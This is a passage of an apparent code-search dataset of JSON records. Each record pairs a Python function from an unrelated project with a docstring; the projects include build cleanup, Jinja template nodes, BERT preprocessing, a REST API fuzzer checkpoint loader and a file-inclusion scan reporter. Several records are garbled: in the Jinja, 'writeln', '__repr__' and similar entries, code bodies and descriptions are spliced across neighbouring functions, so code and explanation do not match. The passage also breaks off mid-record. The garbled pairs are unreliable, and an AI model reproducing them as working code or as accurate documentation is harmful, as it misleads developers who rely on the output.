sub-grid. Must not be larger than the resolution of `grid`.The order of dims must be equal to `start` and `grid.shape.spatial`.Returns:Sub-grid as `Tensor`"} {"code": "def distclean_dir(dirname):\n\tfor (root, dirs, files) in os.walk(dirname):\n\t\tfor f in files:\n\t\t\tif f.endswith(('.o', '.moc', '.exe')):\n\t\t\t\tfname = os.path.join(root, f)\n\t\t\t\ttry:\n\t\t\t\t\tos.remove(fname)\n\t\t\t\texcept OSError:\n\t\t\t\t\tLogs.warn('Could not remove %r', fname)\n\n\tfor x in (Context.DBFILE, 'config.log'):\n\t\ttry:\n\t\t\tos.remove(x)\n\t\texcept OSError:\n\t\t\tpass\n\n\ttry:\n\t\tshutil.rmtree(Build.CACHE_DIR)\n\texcept OSError:\n\t\tpass\n", "nl": "Distclean function called in the particular case when::top == out:param dirname: absolute path of the folder to clean:type dirname: string"} {"code": "def set_environment(self, environment):\n abstract = True\n\n\nclass Helper(Node):\n \"\"\"Nodes that exist in a specific context only.\"\"\"\n is passed to the compiler.\n \"\"\"\n This is used both for the `print` statement and the regular template data.\n \"\"\"\n fields = ('template',)\n\n\nclass For(Stmt):\n \"\"\"The for loop. `target` is the target for the iteration (usually a\n fields = ('target', 'iter', 'body', 'else_', 'test', 'recursive')\n\n\nclass If(Stmt):\n \"\"\"If `test` is true, `body` is rendered, else `else_`.\"\"\"", "nl": "Set the environment for all nodes.todo = deque([self])while todo:node = todo.popleft()node.environment = environmenttodo.extend(node.iter_child_nodes())return selfdef __eq__(self, other):return type(self) is type(other) and \\tuple(self.iter_fields()) == tuple(other.iter_fields())def __ne__(self, other):return not self.__eq__(other)# Restore Python 2 hashing behavior on Python 3__hash__ = object.__hash__def __repr__(self):return '%s(%s)' % (self.__class__.__name__,', '.join('%s=%r' % (arg, getattr(self, arg, None)) forarg in self.fields))def dump(self):def _dump(node):if not isinstance(node, Node):buf.append(repr(node))returnbuf.append('nodes.%s(' % node.__class__.__name__)if not node.fields:buf.append(')')returnfor idx, field in enumerate(node.fields):if idx:buf.append(', ')value = getattr(node, field)if isinstance(value, list):buf.append('[')for idx, item in enumerate(value):if idx:buf.append(', ')_dump(item)buf.append(']')else:_dump(value)buf.append(')')buf = []_dump(self)return ''.join(buf)class Stmt(Node):Base node for all statements."} {"code": "def __init__(self, tarfile):\n self.tarfile = tarfile\n self.index = 0", "nl": "Construct a TarIter object."} {"code": "def clean_tokens(self, tokens):\n", "nl": "Cleans tokenised malware name based on VARIANT_BLACKLIST.The conditions for removing a substring are: exact match, prefix, andsuffix."} {"code": "def aggregate_mask_reconstruction(self, active_clients):\n d = self.total_dimension\n N = self.worker_num\n U = self.targeted_number_active_clients\n T = self.privacy_guarantee\n p = self.prime_number\n logging.debug(\"d = {}, N = {}, U = {}, T = {}, p = {}\".format(d, N, U, T, p))\n\n alpha_s = np.array(range(N)) + 1\n beta_s = np.array(range(U)) + (N + 1)\n logging.info(\"Server starts the reconstruction of aggregate_mask\")\n aggregate_encoded_mask_buffer = np.zeros((U, d // (U - T)), dtype=\"int64\")\n logging.info(\n \"active_clients = {}, aggregate_encoded_mask_dict = {}\".format(\n active_clients, self.aggregate_encoded_mask_dict\n )\n )\n for i, client_idx in enumerate(active_clients):\n aggregate_encoded_mask_buffer[i, :] = self.aggregate_encoded_mask_dict[\n client_idx\n ]\n eval_points = alpha_s[active_clients]\n aggregate_mask = LCC_decoding_with_points(\n aggregate_encoded_mask_buffer, eval_points, beta_s, p\n )\n logging.info(\n \"Server finish the reconstruction of aggregate_mask via LCC decoding\"\n )\n aggregate_mask = np.reshape(aggregate_mask, (U * (d // (U - T)), 1))\n aggregate_mask = aggregate_mask[0:d]\n return aggregate_mask\n", "nl": "Recover the aggregate-mask via decoding"} {"code": "def set_app_global(key: str, value: str) -> None:\n key, new_value = process_app_global(key, value)\n setattr(app_globals, key, new_value)\n\n", "nl": "Set a new key on the app_globals (g) objectIt will process the value according to the options onapp_globals_from_config_details (if any)"} {"code": "def mapLogRecord(self, record):\n return record.__dict__\n", "nl": "Default implementation of mapping the log record into a dictthat is sent as the CGI data. Overwrite in your class.Contributed by Franz Glasner."} {"code": "def setUp(cls):\n cls.driver.get('http://demo-store.seleniumacademy.com/')\n", "nl": "# create a new Firefox session cls.driver = webdriver.Firefox()cls.driver.implicitly_wait(30)cls.driver.maximize_window()# navigate to the application home page "} {"code": "def add(self, line_list):\n lines = self._read_local()\n for line in line_list:\n lines.append(\"\\n%s\" % line)\n self._write_local(lines)\n self._push_file()\n", "nl": "Append lines in line_list into file on remote."} {"code": "def convert_example_to_features(example, max_seq_length, tokenizer):\n tokens_a = example.tokens_a\n tokens_b = example.tokens_b\n _truncate_seq_pair(tokens_a, tokens_b, max_seq_length - 3)\n\n tokens_a, t1_label = random_word(tokens_a, tokenizer)\n tokens_b, t2_label = random_word(tokens_b, tokenizer)\n lm_label_ids = ([-1] + t1_label + [-1] + t2_label + [-1])\n\n tokens = []\n segment_ids = []\n tokens.append(\"[CLS]\")\n segment_ids.append(0)\n for token in tokens_a:\n tokens.append(token)\n segment_ids.append(0)\n tokens.append(\"[SEP]\")\n segment_ids.append(0)\n\n assert len(tokens_b) > 0\n for token in tokens_b:\n tokens.append(token)\n segment_ids.append(1)\n tokens.append(\"[SEP]\")\n segment_ids.append(1)\n\n input_ids = tokenizer.convert_tokens_to_ids(tokens)\n\n input_mask = [1] * len(input_ids)\n\n while len(input_ids) < max_seq_length:\n input_ids.append(0)\n input_mask.append(0)\n segment_ids.append(0)\n lm_label_ids.append(-1)\n\n assert len(input_ids) == max_seq_length\n assert len(input_mask) == max_seq_length\n assert len(segment_ids) == max_seq_length\n assert len(lm_label_ids) == max_seq_length\n\n if example.guid < 5:\n logger.info(\"*** Example ***\")\n logger.info(\"guid: %s\" % (example.guid))\n logger.info(\"tokens: %s\" % \" \".join(\n [str(x) for x in tokens]))\n logger.info(\"input_ids: %s\" % \" \".join([str(x) for x in input_ids]))\n logger.info(\"input_mask: %s\" % \" \".join([str(x) for x in input_mask]))\n logger.info(\n \"segment_ids: %s\" % \" \".join([str(x) for x in segment_ids]))\n logger.info(\"LM label: %s \" % (lm_label_ids))\n logger.info(\"Is next sentence label: %s \" % (example.is_next))\n\n features = InputFeatures(input_ids=input_ids,\n input_mask=input_mask,\n segment_ids=segment_ids,\n lm_label_ids=lm_label_ids,\n is_next=example.is_next)\n return features\n\n", "nl": "Convert a raw sample (pair of sentences as tokenized strings) into a proper training sample withIDs, LM labels, input_mask, CLS and SEP tokens etc.:param example: InputExample, containing sentence input as strings and is_next label:param max_seq_length: int, maximum length of sequence.:param tokenizer: Tokenizer:return: InputFeatures, containing all inputs and labels of one sample as IDs (as used for model training)"} {"code": "def load(req_collection, seq_collection, fuzzing_collection, fuzzing_monitor):\n length = 0\n print(\"No checkpoints used at this phase\")\n return req_collection, seq_collection, fuzzing_collection, fuzzing_monitor, length\n if not os.path.exists(logger.CKPT_DIR):\n print(\"{}: No chekpoint found\".format(formatting.timestamp()))\n return req_collection, seq_collection, fuzzing_collection, fuzzing_monitor, length\n ckpt_files = [os.path.join(logger.CKPT_DIR, f)\n for f in os.listdir(logger.CKPT_DIR)\n if os.path.isfile(os.path.join(logger.CKPT_DIR, f))]\n if not ckpt_files:\n print(\"{}: No chekpoint found\".format(formatting.timestamp()))\n return req_collection, seq_collection, fuzzing_collection, fuzzing_monitor, length\n\n lattest_ckpt = sorted(ckpt_files)[-1]\n print(\"{}: Loading state from: {}\".format(formatting.timestamp(),\n lattest_ckpt))\n with open(lattest_ckpt, \"rb\", encoding='utf-8') as f:\n state = pickle.load(f)\n req_collection = state['req_collection']\n seq_collection = state['seq_collection']\n fuzzing_collection = state['fuzzing_collection']\n fuzzing_monitor = state['fuzzing_monitor']\n length = state['length']\n print(\"{}: Candidate values: {}\".\\\n format(formatting.timestamp(),\n req_collection.candidate_values_pool.candidate_values))\n print(\"{}: Past test cases: {}\".format(formatting.timestamp(),\n fuzzing_monitor.num_test_cases()))\n fuzzing_monitor.reset_start_time()\n return req_collection, seq_collection, fuzzing_collection, fuzzing_monitor, length", "nl": " Load from checkpoint fuzzing of lattest generation.@param req_collection: The target request collection.@type req_collection: RequestCollection class object.@param seq_collection: The tareg list of sequences in sequence collection.@type seq_collection: List@param length: Length of lattest generation.@type length: Int@return: A tuple of ('length', request collection', 'sequence collection')@rtype : Tuple"} {"code": "def status():\n\n Client().status()\n\n\n@cli.command()", "nl": "Print queue counts."} {"code": "def find_treebank_dataset_file(treebank, udbase_dir, dataset, extension, fail=False):\n if treebank.startswith(\"UD_Korean\") and treebank.endswith(\"_seg\"):\n treebank = treebank[:-4]\n filename = os.path.join(udbase_dir, treebank, f\"*-ud-{dataset}.{extension}\")\n files = glob.glob(filename)\n if len(files) == 0:\n if fail:\n raise FileNotFoundError(\"Could not find any treebank files which matched {}\".format(filename))\n else:\n return None\n elif len(files) == 1:\n return files[0]\n else:\n raise RuntimeError(f\"Unexpected number of files matched '{udbase_dir}/{treebank}/*-ud-{dataset}.{extension}'\")\n", "nl": "For a given treebank, dataset, extension, look for the exact filename to use.Sometimes the short name we use is different from the short nameused by UD. For example, Norwegian or Chinese. Hence the reasonto not hardcode it based on treebankset fail=True to fail if the file is not found"} {"code": "def _parse_global_variables(user_cidr, inventory, user_defined_config):\n if 'all' not in inventory:\n inventory['all'] = {}\n\n if 'vars' not in inventory['all']:\n inventory['all']['vars'] = {}\n", "nl": "Add any extra variables that may have been set in config.:param user_cidr: ``str`` IP address range in CIDR notation:param inventory: ``dict`` Living inventory of containers and hosts:param user_defined_config: ``dict`` User defined variables"} {"code": "def find_table(self, table):\n table = TableFactory(table)\n identifier = table.get_identifier()\n join_tables = [join_item.right_table for join_item in self.joins]\n for table in (self.tables + join_tables):\n if table.get_identifier() == identifier:\n return table\n return None\n", "nl": "Finds a table by name or alias. The FROM tables and JOIN tablesare included in the search.:type table: str or :class:`ModelBase `:param table: string of the table name or alias or a ModelBase instance:return: The table if it is found, otherwise None:rtype: Table or None"} {"code": "def test_initNoisy(self):\n self.assertTrue(self.noisyAttemptMgr.noisy)\n\n", "nl": "When an attempt manager is created with the noisy parameter set totrue, the noisy instance variable should be set to true."} {"code": "def __init__(self, net: RealtimeNeuralNet, use_gpu: bool = False):\n Thread.__init__(self)\n self.net = net\n self.use_gpu = use_gpu\n if use_gpu:\n self.net.cuda()\n self._queue_in = queue.Queue(1)\n self._queue_out = queue.Queue(1)\n self._shutdown = False\n\n @property", "nl": ":param net:The neural network to be run by the inference engine.:param use_gpu:Whether to leverage CUDA or not for neural network inference."} {"code": "def fill(text, width=70, **kwargs):\n w = TextWrapper(width=width, **kwargs)\n return w.fill(text)\n\n\n\n_whitespace_only_re = re.compile('^[ \\t]+$', re.MULTILINE)\n_leading_whitespace_re = re.compile('(^[ \\t]*)(?:[^ \\t\\n])', re.MULTILINE)\n", "nl": "Fill a single paragraph of text, returning a new string.Reformat the single paragraph in 'text' to fit in lines of no morethan 'width' columns, and return a new string containing the entirewrapped paragraph. As with wrap(), tabs are expanded and otherwhitespace characters converted to space. See TextWrapper class foravailable keyword args to customize wrapping behaviour."} {"code": "def DeleteBucket(self, bucket_name, preconditions=None, provider=None):\n raise NotImplementedError('DeleteBucket must be overloaded')\n\n class CsObjectOrPrefixType(object):\n \"\"\"Enum class for describing CsObjectOrPrefix types.\"\"\"\n", "nl": "Deletes a bucket.Args:bucket_name: Name of the bucket to delete.preconditions: Preconditions for the request.provider: Cloud storage provider to connect to. If not present,class-wide default is used.Raises:ArgumentException for errors during input validation.ServiceException for errors interacting with cloud storage providers.Returns:None."} {"code": "def fts(self, segment):\n match = self.seg_regex.match(segment)\n if match:\n pre, base, post = match.group('pre'), match.group('base'), match.group('post')\n seg = copy.deepcopy(self.bases[base])\n for m in reversed(pre):\n seg = update_ft_set(seg, self.prefix_dias[m])\n for m in post:\n seg = update_ft_set(seg, self.postfix_dias[m])\n return set(seg)\n else:\n return None\n", "nl": "Return features corresponding to segment as list of (value,feature) tuplesArgs:segment (unicode): segment for which features are to be returned asUnicode stringReturns:list: None if `segment` cannot be parsed; otherwise, a list of thefeatures of `segment` as (value, feature) pairs"} {"code": "def ajax_place_date_chart(request):\n try:\n s = Schema.public_objects.get(id=int(request.GET['s']))\n except (KeyError, ValueError, Schema.DoesNotExist):\n raise Http404('Invalid Schema')\n place, block_radius, xy_radius = parse_pid(request.GET.get('pid', ''))\n qs = NewsItem.objects.filter(schema__id=s.id)\n filter_url = place.url()[1:]\n if isinstance(place, Block):\n search_buffer = make_search_buffer(place.location.centroid, block_radius)\n qs = qs.filter(location__bboverlaps=search_buffer)\n filter_url += radius_url(block_radius) + '/'\n else:\n qs = qs.filter(newsitemlocation__location__id=place.id)\n end_date = qs.order_by('-item_date').values('item_date')[0]['item_date']\n start_date = end_date - datetime.timedelta(days=30)\n counts = qs.filter(schema__id=s.id, item_date__gte=start_date, item_date__lte=end_date).date_counts()\n date_chart = get_date_chart([s], end_date - datetime.timedelta(days=30), end_date, {s.id: counts})[0]\n return render_to_response('db/snippets/date_chart.html', {\n 'schema': s,\n 'date_chart': date_chart,\n 'filter_url': filter_url,\n })\n", "nl": "JSON -- expects request.GET['pid'] and request.GET['s'] (a Schema ID)."} {"code": "def writeln(self, string=''):\n try:\n self.out.write(string)\n except UnicodeEncodeError:\n self.out.write(string.encode(self.encoding))\n", "nl": "write a line in the output bufferself.write(string + linesep)def write(self, string):write a string in the output buffer"} {"code": "def get_pointsxy(points):\n return points.get_xdata(), points.get_ydata()\n\n", "nl": "Return x, y of the given point object."} {"code": "def isAItask(taskName):\n tn = str(taskName).lower()\n return tn.startswith('aiworker') or \\\n tn in ('aicontroller.get_training_images', 'aicontroller.get_inference_images')\n\n\n", "nl": "Returns True if the taskName (str) is part of the AItask chain, or False if not (e.g., another type of task)."} {"code": "def load_user(self, environ, usersign):\n user = User(usersign)\n try:\n store = environ['tiddlyweb.store']\n user = store.get(user)\n except (StoreMethodNotImplemented, NoUserError):\n pass\n return user", "nl": "Check the :py:class:`User ` databasein the :py:class:`store ` for a usermatching this usersign. The user is not required to exist, but ifit does it can be used to get additional information about theuser, such as roles."} {"code": "def _linear(self, inputs):\n first_dims = shape_list(inputs)[:-1]\n\n x = tf.reshape(inputs, [-1, self.hidden_size])\n logits = tf.matmul(x, self.weight, transpose_b=True)\n\n return tf.reshape(logits, first_dims + [self.vocab_size])\n\n\nclass TFSequenceSummary(tf.keras.layers.Layer):\n r\"\"\" Compute a single vector summary of a sequence hidden states according to various possibilities:", "nl": "Computes logits by running inputs through a linear layer.Args:inputs: A float32 tensor with shape [..., hidden_size]Returns:float32 tensor with shape [..., vocab_size]."} {"code": "def sqlite3_exec_1(db, query, *args):\n cursor = db.cursor().execute(query, *args)\n row = cursor.fetchone()\n assert row\n assert len(row) == 1\n assert cursor.fetchone() == None\n return row[0]\n", "nl": "Execute a query returning a 1x1 table, and return its one value.Do not call this if you cannot guarantee the result is a 1x1table. Beware passing user-controlled input in here."} {"code": "def test_bool_in_sizes(self):\n iterable = [1, 2, 3, 4, 5, 6, 7, 8, 9]\n sizes = [3, True, 2, False]\n expected = [[1, 2, 3], [4], [5, 6], []]\n actual = list(mi.split_into(iterable, sizes))\n self.assertEqual(actual, expected)\n", "nl": "A bool object is present in ``sizes`` is treated as a 1 or 0 for``True`` or ``False`` due to bool being an instance of int."} {"code": "def __repr__(self):\n if not isinstance(other, V1CSIVolumeSource):\n return False\n\n return self.to_dict() == other.to_dict()\n", "nl": "For `print` and `pprint`return self.to_str()def __eq__(self, other):Returns true if both objects are equal"} {"code": "def get_pianoroll_copy(self):\n copied = np.copy(self.pianoroll)\n return copied\n", "nl": "Return a copy of the piano-roll.Returns-------copied :A copy of the piano-roll."} {"code": "def CalConfig(self, value):\n request_type = libusb1.LIBUSB_TYPE_VENDOR\n wValue = 0\n wIndex = 0\n result = self.udev.controlWrite(request_type, self.CAL_CONFIG, wValue, wIndex, [value], timeout = 100)\n", "nl": "This command will configure the calibration source.value = 0: +0.078125V1: -0.078125V2: +0.15625V3: -0.15625V4: +0.3125V5: -0.3125V6: +0.625V7: -0.625V8: +1.25V9: -1.25V10: +2.50V11: -2.50V12: +5.00V13: -5.00V14: +10.0V15: -10.0V"} {"code": "def record(self, trials, scores):\n super().record(trials, scores)\n if len(self.trials) >= self.min_trials:\n LOGGER.debug('Fitting the model with %s samples.' % len(self.trials))\n self._fit(self.trials, self.scores)", "nl": "Record one or more ``trials`` with the associated ``scores`` and re-fit the model.``Trials`` are recorded with the associated ``scores`` to them. The amount of trialsmust be equal to the amount of scores recived and vice versa. Once recorded, the ``model``is being fitted with ``self.trials`` and ``self.raw_scores`` that contain any previousrecords and the ones that where just recorded.Args:trials (pandas.DataFrame, pandas.Series, dict, list(dict), 2D array-like):Values of shape ``(n, len(self.tunable.hyperparameters))`` or dict with keys thatare ``self.tunable.names``.scores (single value or array-like):A single value or array-like of values representing the score achieved with thetrials.Raises:ValueError:A ``ValueError`` exception is being produced if ``len(trials)`` is not equal to``len(scores)``.Example:The example below shows simple usage case where an ``UniformTuner`` is being imported,instantiated with a ``tunable`` object and it's method record is being called two timeswith valid trials and scores.>>> from btb.tuning.tunable import Tunable>>> from btb.tuning.hyperparams import BooleanHyperParam>>> from btb.tuning.hyperparams import CategoricalHyperParam>>> from btb.tuning.tuners import UniformTuner>>> bhp = BooleanHyperParam()>>> chp = CategoricalHyperParam(['cat', 'dog'])>>> tunable = Tunable({'bhp': bhp, 'chp': chp})>>> tuner = UniformTuner(tunable)>>> tuner.record({'bhp': True, 'chp': 'cat'}, 0.8)>>> trials = [{'bhp': False, 'chp': 'cat'}, {'bhp': True, 'chp': 'dog'}]>>> scores = [0.8, 0.1]>>> tuner.record(trials, scores)"} {"code": "def si32le(c, o=0):\n return unpack_from(\"' % (self.steps,)def reset(self):t.reset() restores a pipeline template to its initial state."} {"code": "def uu_decode(input,errors='strict'):\n assert errors == 'strict'\n from cStringIO import StringIO\n from binascii import a2b_uu\n infile = StringIO(str(input))\n outfile = StringIO()\n readline = infile.readline\n write = outfile.write\n\n while 1:\n s = readline()\n if not s:\n raise ValueError, 'Missing \"begin\" line in input data'\n if s[:5] == 'begin':\n break\n\n while 1:\n s = readline()\n if not s or \\\n s == 'end\\n':\n break\n try:\n data = a2b_uu(s)\n except binascii.Error, v:\n nbytes = (((ord(s[0])-32) & 63) * 4 + 5) / 3\n data = a2b_uu(s[:nbytes])\n write(data)\n if not s:\n raise ValueError, 'Truncated input data'\n\n return (outfile.getvalue(), len(input))\n\nclass Codec(codecs.Codec):\n", "nl": " Decodes the object input and returns a tuple (outputobject, length consumed).input must be an object which provides the bf_getreadbufbuffer slot. Python strings, buffer objects and memorymapped files are examples of objects providing this slot.errors defines the error handling to apply. It defaults to'strict' handling which is the only currently supportederror handling for this codec.Note: filename and file mode information in the input data isignored."} {"code": "def list_schemas(Limit=None, NextToken=None, RegistryName=None, SchemaNamePrefix=None):\n pass\n", "nl": "List the schemas.See also: AWS API DocumentationExceptions:example: response = client.list_schemas(Limit=123,NextToken='string',RegistryName='string',SchemaNamePrefix='string'):type Limit: integer:param Limit::type NextToken: string:param NextToken: The token that specifies the next page of results to return. To request the first page, leave NextToken empty. The token will expire in 24 hours, and cannot be shared with other accounts.:type RegistryName: string:param RegistryName: [REQUIRED]\\nThe name of the registry.\\n:type SchemaNamePrefix: string:param SchemaNamePrefix: Specifying this limits the results to only those schema names that start with the specified prefix.:rtype: dictReturnsResponse Syntax{'NextToken': 'string','Schemas': [{'LastModified': datetime(2015, 1, 1),'SchemaArn': 'string','SchemaName': 'string','Tags': {'string': 'string'},'VersionCount': 123},]}Response Structure(dict) --200 responseNextToken (string) --The token that specifies the next page of results to return. To request the first page, leave NextToken empty. The token will expire in 24 hours, and cannot be shared with other accounts.Schemas (list) --An array of schema summaries.(dict) --A summary of schema details.LastModified (datetime) --The date and time that schema was modified.SchemaArn (string) --The ARN of the schema.SchemaName (string) --The name of the schema.Tags (dict) --Tags associated with the schema.(string) --(string) --VersionCount (integer) --The number of versions available for the schema.ExceptionsSchemas.Client.exceptions.ServiceUnavailableExceptionSchemas.Client.exceptions.BadRequestExceptionSchemas.Client.exceptions.UnauthorizedExceptionSchemas.Client.exceptions.InternalServerErrorExceptionSchemas.Client.exceptions.ForbiddenException:return: {'NextToken': 'string','Schemas': [{'LastModified': datetime(2015, 1, 1),'SchemaArn': 'string','SchemaName': 'string','Tags': {'string': 'string'},'VersionCount': 123},]}:returns:(string) --(string) --"} {"code": "def blockdev_setbsz(self, device, blocksize):\n return self.inner_cmd(\"blockdev-setbsz %s %s\" % (device, blocksize))\n", "nl": "blockdev-setbsz - set blocksize of block deviceThis sets the block size of a device."} {"code": "def register_widget(cls, widget):\n cls._widgets = []\n", "nl": "Register a widget with this zone.cls._widgets.append(widget)@classmethoddef clear_widgets(cls):Clear all widgets registered with this zone."} {"code": "def py__call__(self, arguments):\n try:\n param_values = self._generics_manager[0]\n result_values = self._generics_manager[1]\n except IndexError:", "nl": "def x() -> Callable[[Callable[..., _T]], _T]: ..."} {"code": "def __getattr__(cls, name):\n if _is_dunder(name):\n raise AttributeError(name)\n try:\n return cls._member_map_[name]\n except KeyError:\n raise AttributeError(name)\n", "nl": "Return the enum member matching `name`We use __getattr__ instead of descriptors or inserting into the enumclass' __dict__ in order to support `name` and `value` being bothproperties for enum members (which live in the class' __dict__) andenum members themselves."} {"code": "def auto_parallel(n, src, block_num=1024, **kw):\n a, b = src.split('(', 1)\n prev_func, func_name = a.rsplit(None, 1)\n args, code = b.split(')', 1)\n args = args.split(',')\n assert len(args) >= n*2, (args, n)\n oargs = args[n*2:]\n pargs = args[:n*2]\n piargs = pargs[1::2]\n pnargs = pargs[0::2]\n pnargs2 = [ a.split()[-1] for a in pnargs ]\n oargs2 = [ a.split()[-1] for a in oargs ]", "nl": "auto parallel(CPU and GPU) n-d for loop function like below:Before:void inner_func(int n0, int i0, int n1, int i1) {...}for (int i0=0; i0 b -> c` and delete node b, we are leftwith `a -> c`."} {"code": "def multiply_grads(self, c):\n return self._optimizer.clip_grad_norm(max_norm)\n", "nl": "Multiplies grads by a constant *c*.self._optimizer.multiply_grads(c)def clip_grad_norm(self, max_norm):Clips gradient norm."} {"code": "def testWorkWithACompletelyUserDefinedPredicate(self):\n self.assertEqual(engine.action({\"one\": 1, \"two\": 7, \"three\": \"whatever\"}), \"yes-yes\")\n self.assertEqual(engine.action({\"one\": 1, \"two\": 0, \"three\": \"whatever\"}), \"yes-no\")\n self.assertEqual(engine.action({\"one\": 15, \"two\": 7, \"three\": \"TEST\"}), \"no-yes\")\n self.assertEqual(engine.action({\"one\": 15, \"two\": 7, \"three\": \"ZEST\"}), \"no-no\")\n", "nl": "engine, = PFAEngine.fromYaml(input: {type: record, name: Datum, fields: [{name: one, type: int}, {name: two, type: double}, {name: three, type: string}]}output: stringcells:tree:type:type: recordname: TreeNodefields:- {name: field, type: string}- {name: pass, type: [string, TreeNode]}- {name: fail, type: [string, TreeNode]}init:field: onepass:TreeNode:field: twopass: {string: yes-yes}fail: {string: yes-no}fail:TreeNode:field: threepass: {string: no-yes}fail: {string: no-no}action:- {model.tree.simpleWalk: [input, {cell: tree}, {fcn: u.myPredicate}]}fcns:myPredicate:params:- datum: Datum- treeNode: TreeNoderet: booleando:cond:- {if: {\"==\": [treeNode.field, [one]]}, then: {\"<\": [datum.one, 12]}}- {if: {\"==\": [treeNode.field, [two]]}, then: {\">\": [datum.two, 3.5]}}else: {\"==\": [datum.three, [TEST]]})"} {"code": "def max_volume__MAC(jarvis, s):\n system(\n 'osascript -e \"set volume output volume 0\"'\n )\n\n\n@require(platform=LINUX, native=\"pactl\")\n@plugin('decrease volume')", "nl": "Maximizes your speaker's sound.system('osascript -e \"set volume output volume 100\"')@require(platform=MACOS, native=\"osascript\")@plugin('mute')def mute__MAC(jarvis, s):Mute: Silence your speaker's sound."} {"code": "def new_unicode(self):\n The log entries for :class:`~django_states.machine.StateTransition`.\n \"\"\"", "nl": "New Unicodereturn u'%s (%s)' % (old_unicode(self), self.get_state_info().description)attrs['__unicode__'] = new_unicodeattrs['__module__'] = state_model.__module__values = {'model_name': state_model.__name__,'field_name': field_name.capitalize()}class_name = conf.LOG_MODEL_NAME % values# Make sure that for Python2, class_name is a 'str' object.# In Django 1.7, `field_name` returns a unicode object, causing# `class_name` to be unicode as well.if sys.version_info[0] == 2:class_name = str(class_name)return ModelBase.__new__(c, class_name, bases, attrs)get_state_choices = machine.get_state_choices@python_2_unicode_compatibleclass _StateTransition(six.with_metaclass(_StateTransitionMeta, models.Model)):"} {"code": "def get_handler(self, performative: Any) -> Callable[[Any], Task]:\n handler = getattr(self, performative.value, None)\n if handler is None:\n raise Exception(\"Performative not recognized.\")\n return handler\n\n @abstractmethod", "nl": "Get the handler method, given the message performative.:param performative: the message performative.:return: the method that will send the request."} {"code": "def delete(self, recurse=True):\n if recurse:\n for child in sorted(self.all_children, reverse=True):\n child.delete()\n text = self.text\n linenum = self.linenum\n if self.confobj._list[self.linenum].text == text:\n del self.confobj._list[self.linenum]\n for obj in self.confobj._list[self.linenum:]:\n obj.linenum = linenum\n linenum += 1\n\n @junos_unsupported", "nl": "Delete this object. By default, if a parent object is deleted, the child objects are also deleted; this happens because ``recurse`` defaults True."} {"code": "def IfPush(self):\n if self.CurContext() == 'i':\n self.context.pop()\n", "nl": "Record entry of the lexer into a conditional construct.if self.CurContext() in ('LBRACE', '[', '(', 'i'):self.context.append('i')self.saved_new_lines = 0def IfPop(self):Record exit from a conditional construct."} {"code": "def computeTimeDelay(doppler, symbol_index, chip_index, signal):\n if symbol_index == 0 and chip_index == 0:\n return 0.\n\n symbolDelay_s = (1. / signal.SYMBOL_RATE_HZ) * symbol_index\n chipDelay_s = (1. / signal.CODE_CHIP_RATE_HZ) * chip_index\n distance_m = doppler.computeDistanceM(symbolDelay_s + chipDelay_s)\n return distance_m / scipy.constants.c\n\n", "nl": "Helper function to compute signal delay to match given symbol and chipindexes.Parameters----------doppler : objectDoppler objectsymbol_index : longIndex of the symbol or pseudosymbolchip_index : longChip indexsignal : objectSignal objectReturns-------floatUser's time in seconds when the user starts receiving the given symboland code."} {"code": "def clean_up_order_buffers(self, current_market_slot: DateTime) -> None:\n for buffer in [self.bid_trade_residual, self.trade_residual]:\n self._delete_trade_residual_buffers(buffer, current_market_slot)\n\n delete_bids = []\n for bid_info in self.forwarded_bids.values():\n if bid_info.target_bid.time_slot <= current_market_slot:\n delete_bids.append(bid_info.target_bid)\n delete_bids.append(bid_info.source_bid)\n\n for bid in delete_bids:\n self._delete_forwarded_bid_entries(bid)\n\n delete_offers = []\n for offer_info in self.forwarded_offers.values():\n if offer_info.target_offer.time_slot <= current_market_slot:\n delete_offers.append(offer_info.target_offer)\n delete_offers.append(offer_info.source_offer)\n for offer in delete_offers:\n self._delete_forwarded_offer_entries(offer)", "nl": "Remove orders from engine buffers that are not connected to a future market any moreArgs:current_market_slot: current (not future) market slotReturns:"} {"code": "def __init__(self, importer):\n\n `importer_type` is the type or class of a PEP 302 \"Importer\" (sys.path item\n handler), and `distribution_finder` is a callable that, passed a path\n item and the importer instance, yields ``Distribution`` instances found on\n that path item. See ``pkg_resources.find_on_path`` for an example.\"\"\"", "nl": "Create a metadata provider from a zipimporterself.zip_pre = importer.archive + os.sepself.loader = importerif importer.prefix:self.module_path = os.path.join(importer.archive, importer.prefix)else:self.module_path = importer.archiveself._setup_prefix()_declare_state('dict', _distribution_finders={})def register_finder(importer_type, distribution_finder):Register `distribution_finder` to find distributions in sys.path items"} {"code": "def generate(self):\n if base.cr.catalogManager != None:\n base.cr.catalogManager.delete()\n base.cr.catalogManager = self\n DistributedObject.DistributedObject.generate(self)\n\n if (hasattr(base.localAvatar, \"catalogScheduleNextTime\") and\n base.localAvatar.catalogScheduleNextTime == 0):\n self.d_startCatalog()\n", "nl": "This method is called when the DistributedObject is reintroducedto the world, either for the first time or from the cache."} {"code": "def p_funcdef(self, p):\n p[0] = self._make_args([])\n", "nl": " funcdef : DEF NAME parameters COLON suite funcdef = ast.FunctionDef()funcdef.name = p[2]funcdef.args = p[3]funcdef.returns = Nonefuncdef.body = p[5]funcdef.decorator_list = []funcdef.lineno = p.lineno(1)ast.fix_missing_locations(funcdef)p[0] = funcdefdef p_parameters1(self, p): parameters : LPAR RPAR "} {"code": "def reorderFrames(self, frame_range, order):\n self.asJob().reorderFrames(frame_range, order)\n", "nl": "Reorders the specified frame range on this job.:type frame_range: string:param frame_range: The frame range to reorder:type order: job_pb2.Order:param order: First, Last or Reverse"} {"code": "def place(self, center, radius):\n self._radius = float(radius)\n self._center[0] = center[0]\n self._center[1] = center[1]\n", "nl": "Place Arcball, e.g. when window size changes.center : sequence[2]Window coordinates of trackball center.radius : floatRadius of trackball in window coordinates."} {"code": "def test_build_normalize_image(self):\n preprocessor_proto = preprocessor_pb2.PreprocessingStep()\n text_format.Merge(preprocessor_text_proto, preprocessor_proto)\n function, args = preprocessor_builder.build(preprocessor_proto)\n self.assertEqual(function, preprocessor.normalize_image)\n self.assertEqual(args, {\n 'original_minval': 0.0,\n 'original_maxval': 255.0,\n 'target_minval': -1.0,\n 'target_maxval': 1.0,\n })\n", "nl": "preprocessor_text_proto = normalize_image {original_minval: 0.0original_maxval: 255.0target_minval: -1.0target_maxval: 1.0}"} {"code": "def print_scan_result(type, response, payload_str, verification, request_info):\n result_fi = \"\"\n if response:\n res = \"[FI] request id: {}\\n\\t[-] host: {}\\n\\t[-] method: {}\\n\\t[-] payload: {}\\n\\n[*] result: {}\\n\\n\".format(request_info['rid'], request_info['host'], request_info['method'], payload_str, verify_fi(response, verification))\n result_fi = verify_fi(response, 